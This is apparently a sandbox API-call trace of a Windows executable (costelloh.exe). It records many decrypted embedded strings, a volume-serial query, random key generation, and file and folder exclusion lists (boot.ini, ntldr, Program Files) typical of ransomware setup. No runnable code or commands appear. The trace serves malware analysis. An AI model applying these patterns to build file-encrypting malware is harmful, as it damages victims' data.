	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.081] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.082] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.083] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] GetLastError () returned 0x0
	[0212.084] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd29838, Size=0xb54) returned 0xd29838
	[0212.084] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd2a398, Size=0xa2) returned 0xd2a398
	[0212.085] CryptImportKey (in: hProv=0x616790, pbData=0x1afc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afcc4 | out: phKey=0x1afcc4*=0x645cb8) returned 1
	[0212.085] CryptSetKeyParam (hKey=0x645cb8, dwParam=0x1, pbData=0x1afcac, dwFlags=0x0) returned 1
	[0212.085] CryptDecrypt (in: hKey=0x645cb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd20550, pdwDataLen=0x1afc78 | out: pbData=0xd20550, pdwDataLen=0x1afc78) returned 1
	[0212.085] CryptDestroyKey (hKey=0x645cb8) returned 1
	[0212.085] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd20578
	[0212.085] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0212.085] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0212.085] CryptImportKey (in: hProv=0x616790, pbData=0x1afc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc9c | out: phKey=0x1afc9c*=0x6459f8) returned 1
	[0212.085] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0x1afc84, dwFlags=0x0) returned 1
	[0212.085] CryptDecrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0x1afc50 | out: pbData=0xd21470, pdwDataLen=0x1afc50) returned 1
	[0212.085] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0212.085] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0212.085] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd20578, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0212.085] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0212.085] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd20550 | out: hHeap=0xd20000) returned 1
	[0212.085] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afd04, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afd04*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0212.085] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd20578 | out: hHeap=0xd20000) returned 1
	[0212.085] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd20550
	[0212.085] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28758
	[0212.085] CryptImportKey (in: hProv=0x616790, pbData=0x1afb6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbd4 | out: phKey=0x1afbd4*=0x645e78) returned 1
	[0212.085] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afbbc, dwFlags=0x0) returned 1
	[0212.085] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28758, pdwDataLen=0x1afb88 | out: pbData=0xd28758, pdwDataLen=0x1afb88) returned 1
	[0212.085] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd287b8
	[0212.086] CryptImportKey (in: hProv=0x616790, pbData=0x1afb64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbcc | out: phKey=0x1afbcc*=0x645d78) returned 1
	[0212.086] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0x1afbb4, dwFlags=0x0) returned 1
	[0212.086] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd287b8, pdwDataLen=0x1afb80 | out: pbData=0xd287b8, pdwDataLen=0x1afb80) returned 1
	[0212.086] CryptDestroyKey (hKey=0x645d78) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd288d8
	[0212.086] CryptImportKey (in: hProv=0x616790, pbData=0x1afb5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbc4 | out: phKey=0x1afbc4*=0x645e78) returned 1
	[0212.086] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afbac, dwFlags=0x0) returned 1
	[0212.086] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd288d8, pdwDataLen=0x1afb78 | out: pbData=0xd288d8, pdwDataLen=0x1afb78) returned 1
	[0212.086] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28878
	[0212.086] CryptImportKey (in: hProv=0x616790, pbData=0x1afb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbbc | out: phKey=0x1afbbc*=0x645fb8) returned 1
	[0212.086] CryptSetKeyParam (hKey=0x645fb8, dwParam=0x1, pbData=0x1afba4, dwFlags=0x0) returned 1
	[0212.086] CryptDecrypt (in: hKey=0x645fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28878, pdwDataLen=0x1afb70 | out: pbData=0xd28878, pdwDataLen=0x1afb70) returned 1
	[0212.086] CryptDestroyKey (hKey=0x645fb8) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0212.086] CryptImportKey (in: hProv=0x616790, pbData=0x1afb4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbb4 | out: phKey=0x1afbb4*=0x6459f8) returned 1
	[0212.086] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0x1afb9c, dwFlags=0x0) returned 1
	[0212.086] CryptDecrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0x1afb68 | out: pbData=0xd21470, pdwDataLen=0x1afb68) returned 1
	[0212.086] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd287a0
	[0212.086] CryptImportKey (in: hProv=0x616790, pbData=0x1afb44, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbac | out: phKey=0x1afbac*=0x645878) returned 1
	[0212.086] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0x1afb94, dwFlags=0x0) returned 1
	[0212.086] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd287a0, pdwDataLen=0x1afb60 | out: pbData=0xd287a0, pdwDataLen=0x1afb60) returned 1
	[0212.086] CryptDestroyKey (hKey=0x645878) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x60) returned 0xd28678
	[0212.086] CryptImportKey (in: hProv=0x616790, pbData=0x1afb3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afba4 | out: phKey=0x1afba4*=0x645e78) returned 1
	[0212.086] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afb8c, dwFlags=0x0) returned 1
	[0212.086] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28678, pdwDataLen=0x1afb58 | out: pbData=0xd28678, pdwDataLen=0x1afb58) returned 1
	[0212.086] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.086] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0212.086] CryptGenRandom (in: hProv=0x616790, dwLen=0x20, pbBuffer=0x1afc98 | out: pbBuffer=0x1afc98) returned 1
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x28) returned 0xd21508
	[0212.086] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28710
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4) returned 0xd21538
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x14) returned 0xd20580
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28770
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x80) returned 0xd252c0
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28818
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x82) returned 0xd25348
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28788
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4) returned 0xd25590
	[0212.087] CryptGenRandom (in: hProv=0x6741f8, dwLen=0x55, pbBuffer=0x1afc02 | out: pbBuffer=0x1afc02) returned 1
	[0212.087] GetLastError () returned 0x0
	[0212.087] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd255a0, Size=0x82) returned 0xd28e00
	[0212.087] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd254b0, Size=0x100) returned 0xd28e90
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28890
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x82) returned 0xd28f98
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28848
	[0212.087] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x82) returned 0xd29028
	[0212.087] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd28e00, Size=0x104) returned 0xd290b8
	[0212.087] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd28e90, Size=0x200) returned 0xd291c8
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25560 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd291c8 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28830 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28cf0 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd287e8 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28d78 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28800 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd290b8 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28728 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28f98 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28890 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29028 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28848 | out: hHeap=0xd20000) returned 1
	[0212.088] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21538 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28710 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25348 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28818 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd252c0 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28770 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25590 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28788 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21508 | out: hHeap=0xd20000) returned 1
	[0212.089] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd20580 | out: hHeap=0xd20000) returned 1
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xa4) returned 0xd252c0
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x5a) returned 0xd25370
	[0212.089] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd25370, Size=0xb2) returned 0xd28cf0
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28890
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xb40) returned 0xd2a448
	[0212.089] CryptImportKey (in: hProv=0x616790, pbData=0x1afb34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb9c | out: phKey=0x1afb9c*=0x645fb8) returned 1
	[0212.089] CryptSetKeyParam (hKey=0x645fb8, dwParam=0x1, pbData=0x1afb84, dwFlags=0x0) returned 1
	[0212.089] CryptDecrypt (in: hKey=0x645fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd2a448, pdwDataLen=0x1afb50 | out: pbData=0xd2a448, pdwDataLen=0x1afb50) returned 1
	[0212.089] CryptDestroyKey (hKey=0x645fb8) returned 1
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd20580
	[0212.089] CryptImportKey (in: hProv=0x616790, pbData=0x1afb2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb94 | out: phKey=0x1afb94*=0x645af8) returned 1
	[0212.089] CryptSetKeyParam (hKey=0x645af8, dwParam=0x1, pbData=0x1afb7c, dwFlags=0x0) returned 1
	[0212.089] CryptDecrypt (in: hKey=0x645af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd20580, pdwDataLen=0x1afb48 | out: pbData=0xd20580, pdwDataLen=0x1afb48) returned 1
	[0212.089] CryptDestroyKey (hKey=0x645af8) returned 1
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd28db0
	[0212.089] CryptImportKey (in: hProv=0x616790, pbData=0x1afb04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb6c | out: phKey=0x1afb6c*=0x645878) returned 1
	[0212.089] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0x1afb54, dwFlags=0x0) returned 1
	[0212.089] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0x1afb20 | out: pbData=0xd28db0, pdwDataLen=0x1afb20) returned 1
	[0212.089] CryptDestroyKey (hKey=0x645878) returned 1
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x84) returned 0xd28e48
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x84) returned 0xd2b828
	[0212.089] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd28ed8
	[0212.089] CryptImportKey (in: hProv=0x616790, pbData=0x1afadc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb44 | out: phKey=0x1afb44*=0x645878) returned 1
	[0212.090] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0x1afb2c, dwFlags=0x0) returned 1
	[0212.090] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28ed8, pdwDataLen=0x1afaf8 | out: pbData=0xd28ed8, pdwDataLen=0x1afaf8) returned 1
	[0212.090] CryptDestroyKey (hKey=0x645878) returned 1
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28ed8 | out: hHeap=0xd20000) returned 1
	[0212.090] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xd28e48, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd2b828 | out: hHeap=0xd20000) returned 1
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x60) returned 0xd25370
	[0212.090] CryptImportKey (in: hProv=0x616790, pbData=0x1afb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb68 | out: phKey=0x1afb68*=0x645d78) returned 1
	[0212.090] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0x1afb50, dwFlags=0x0) returned 1
	[0212.090] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25370, pdwDataLen=0x1afb1c | out: pbData=0xd25370, pdwDataLen=0x1afb1c) returned 1
	[0212.090] CryptDestroyKey (hKey=0x645d78) returned 1
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x5c) returned 0xd28db0
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x5c) returned 0xd28ed8
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd28f40
	[0212.090] CryptImportKey (in: hProv=0x616790, pbData=0x1afad8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb40 | out: phKey=0x1afb40*=0x645e78) returned 1
	[0212.090] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afb28, dwFlags=0x0) returned 1
	[0212.090] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28f40, pdwDataLen=0x1afaf4 | out: pbData=0xd28f40, pdwDataLen=0x1afaf4) returned 1
	[0212.090] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28f40 | out: hHeap=0xd20000) returned 1
	[0212.090] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0xd28db0, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28ed8 | out: hHeap=0xd20000) returned 1
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25370 | out: hHeap=0xd20000) returned 1
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd28ed8
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd290f0
	[0212.090] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd290f0, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0212.090] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd290f0 | out: hHeap=0xd20000) returned 1
	[0212.090] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xb38) returned 0xd2bf98
	[0212.090] GetLastError () returned 0x0
	[0212.090] GetLastError () returned 0x0
	[0212.090] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.091] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.092] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.093] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
	[0212.094] GetLastError () returned 0x0
